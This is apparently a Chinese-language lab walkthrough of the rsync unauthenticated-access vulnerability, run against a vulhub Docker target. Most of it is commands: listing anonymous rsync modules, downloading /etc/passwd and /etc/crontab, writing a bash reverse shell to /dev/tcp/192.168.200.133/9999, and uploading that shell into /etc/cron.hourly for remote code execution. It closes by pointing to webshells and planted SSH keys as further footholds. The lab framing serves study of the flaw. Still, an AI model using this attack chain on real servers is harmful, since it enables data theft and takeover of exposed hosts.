漏洞簡介
rsync(remote synchronize)——Linux下實現遠程同步功能的軟件,能同步更新兩處計算機的文件及目錄。在同步文件時,可以保持源文件的權限、時間、軟硬鏈接等附加信息。常被用於在內網進行源代碼的分發及同步更新,因此使用人群多為開發人員;而開發人員安全意識薄弱、安全技能欠缺往往是導致rsync出現相關漏洞的根源。
rsync默認配置文件為/etc/rsyncd.conf,常駐模式啟動命令rsync –daemon,啟動成功后默認監聽於TCP端口873,可通過rsync-daemon及ssh兩種方式進行認證。
rsync未授權訪問帶來的危害主要有兩個:一是造成了嚴重的信息泄露;二是上傳腳本后門文件,遠程命令執行。
環境搭建
靶機:kali 192.168.200.128
攻擊機:centos 192.168.200.133
進入vulhub 啟動
cd vulhub/rsync/common
docker-compose up -d
未授權漏洞復現
1.可以使用nmap去掃描該端口是否開啟服務
還可以使用Metasploit中關於允許匿名訪問的rsync掃描模塊:
auxiliary/scanner/rsync/modules_list
2.使用顯擺你的命令,可以列出目標靶機的同步目錄、查看模塊文件
rsync IP:: //這是在默認條件下沒有改變默認的端口,默認密碼是::
rsync --port=xxx ip:: //如果修改了默認端口就需要指定端口,這里就是需要自己指定47900端口
rsync -avz ip::www /tmp //-avz是下載文件的命令,前一個是目標內容,后一個是自己指定存儲在本地的路徑
rsync -avz --port=xxx ip::dddd /tmp
rsync ip::
rsync rsync://ip:873
3.下載敏感文件
rsync -av rsync://192.168.200.128:873/src/etc/passwd ./
上傳文件反彈shell
1.查看crontab配置文件
rsync rsync://ip/src/etc/crontab
2.下載文件
rsync -av rsync://ip/src/etc/crontab /root/crontab.txt(/root/crontab.txt為下載路徑)
其中
17 * * * * root cd / && run-parts --report /etc/cron.hourly
表示在每小時的第17分鍾執行run-parts --report /etc/cron.hourly命令
3.我們可以這樣寫一個shell 反彈到攻擊機9999端口
touch shell
//文件寫入反彈shell命令
!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.200.133/9999 0>&1
chmod 777 shell
給他執行權限
4.傳入/etc/cron.hourly目錄下,監聽端口。
rsync -av shell rsync://192.168.200.128:873/src/etc/cron.hourly


此外如果目標有Web服務的話,可以直接寫WebShell,或者可以通過寫ssh公鑰實現獲取權限。